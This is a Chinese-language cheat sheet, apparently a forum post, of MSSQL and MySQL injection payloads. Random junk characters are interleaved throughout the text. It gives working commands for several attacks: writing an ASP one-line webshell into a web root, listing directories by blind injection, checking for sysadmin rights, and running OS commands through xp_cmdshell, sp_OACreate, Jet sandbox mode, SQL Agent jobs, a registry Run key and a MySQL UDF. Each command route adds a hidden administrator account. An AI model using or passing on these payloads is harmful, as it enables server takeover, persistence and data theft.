MSSQL语句导出一句话木马1 Y; E5 \+ X* T# U" N
首先确定网站的WEB路径
8 h' H+ }% ^! j f" i5 E9 g;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马1 k7 R- D6 b |# K" u9 w
" h% h1 W' b* a6 j: k4 T) [! s& };insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
. m# E. F7 p9 l/ q' e- T5 O7 |//将一句话木马插入表中" `+ p2 |0 s* x
1 b8 ^* x* j' k& \# F; o5 t
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- . B+ @2 [+ _7 `: ` k1 \/ P
//导出一个ASP文件; c& n; T% R' T. | g, c3 {
6 g- c8 N) ]: P8 ~# W
& L7 C0 m: Z( e; C+ @% T关于MSSQL列目录( X0 T Z; n. s* j# P/ ~
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
, X2 r% ?* ]$ m* A$ W8 HInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表2 c- g5 A1 R9 I, W% o& d
* t5 _& `8 W- _$ U3 G2 d
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
3 ~" w1 t( v- v9 @- B+ q$ t
. F9 P0 ?2 p0 k& [3 u& `; {2 LAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段6 o9 x3 g' O$ p4 W! ]9 E
" ]$ {' @. H* C" M5 h/ n- CAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符6 L6 {& s$ R, P) }3 M; E& b5 E
8 e+ F" ^, e# N R
$ U8 P- ^& y' O+ t6 o0 T" [数据库版本和权限查看
; c. A* ?3 ]2 [# R! Cand 1=(select @@VERSION) //查看详细的数据库信息.9 t# [6 D( C6 O& S a6 S {6 G
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
8 S' r Y' N) `4 }and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER& J" r) y" B! w2 B4 u
* l y" _2 L Q' {9 B* p" @8 T% z
1 z) {. {5 X1 o$ ^
1.利用xp_cmdshell执行命令4 O! k4 s; e( C8 P+ n
exec master..xp_cmdshell 'net user rfire 123456 /add'" g" T2 H9 k: s# b! f3 W7 V( b# B5 b3 M
exec master..xp_cmdshell 'net localgroup administrators rfire /add'6 I( j! n. L0 y2 y: l( U5 p s
8 Z# O: n( C/ c5 g+ p
恢复xp_cmdshell存储过程
5 E4 D5 ]0 e( N8 [2 ^Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
' s% N1 e! k4 ]1 H4 E8 G, o! u8 F5 w" k
8 h) e$ q" ~% [9 ?: T. O5 @6 {% V
2.利用SP_OAcreate和SP_OAMETHOD执行命令
9 E# H4 ], ?; W在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
* X1 V% p, _/ ?DECLARE @shell INT //建立一个@shell实体
5 C2 E" P5 p# f/ o4 VEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
! G% M z1 h# b5 oEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
3 s' g. ^8 w* r# h X
- A3 a& C8 K( ?: v+ w+ w8 K3 I7 u0 b z
3.利用沙盒模式
! r* W: a5 H: {3 t3 W9 |先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
) H. e) c+ T6 f开启沙盒模式:
% i: v6 a! c. MEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
2 t" s' e5 R* ]3 P6 F p
, i: N4 [$ g2 N2 r) f! I8 y, P8 i6 n执行命令:
( \3 h) I/ Y K* a: zSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
+ o. X# P! ^' u+ A
0 D. O0 R8 a; g. G/ W
4 z3 P- Q8 I4 \. Z4.利用SQL代理执行命令
1 Y. v9 a* s4 N5 X. C3 K0 B# y. JEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务8 o g0 a9 Z* f, ^* a/ `, [
! Q5 c" X+ S( W
执行命令:1 M# ]6 H' D: W; c
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错* J' L' {3 C& t/ i6 `7 k
exec sp_add_job 'x'
6 ]. l5 v `( z7 b0 |exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
$ S' }5 z8 `$ |. m/ Yexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业9 i6 u( e; I$ J0 O- O2 X Z: p
* s# b6 D) x- w g5 n& U+ ^2 S
1 k7 _% f. [2 z& [8 Y5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)$ b) b3 K5 G# h1 d5 L5 o* e4 B c
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'5 m( N: n f" u) N. k3 b
( z: ?9 W/ V; }0 ]* B
: B# r" Z0 }) ^1 w0 j, \6 q
6.MYSQL的命令执行
" y# N7 [8 U* M# L* E4 [MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限): \% Q4 ^ i: R; b, s
首先要在su.php下导出c:\windows\udf.dll
2 f+ q7 a+ g. w1 Z) k7 w" C1 C导出后执行创建自定义函数命令:
" t! m/ n- ]! w& O. w9 GCreate Function cmdshell returns string soname 'udf.dll'2 T9 j6 C) c' Q
执行命令4 X, o, [8 z/ G* m" u8 Y
select cmdshell('net user rfire 123456 /add')
' w0 s" ?6 u/ b执行后删除函数 drop function cmdshell
0 L; j" ~5 M; X7 H& y |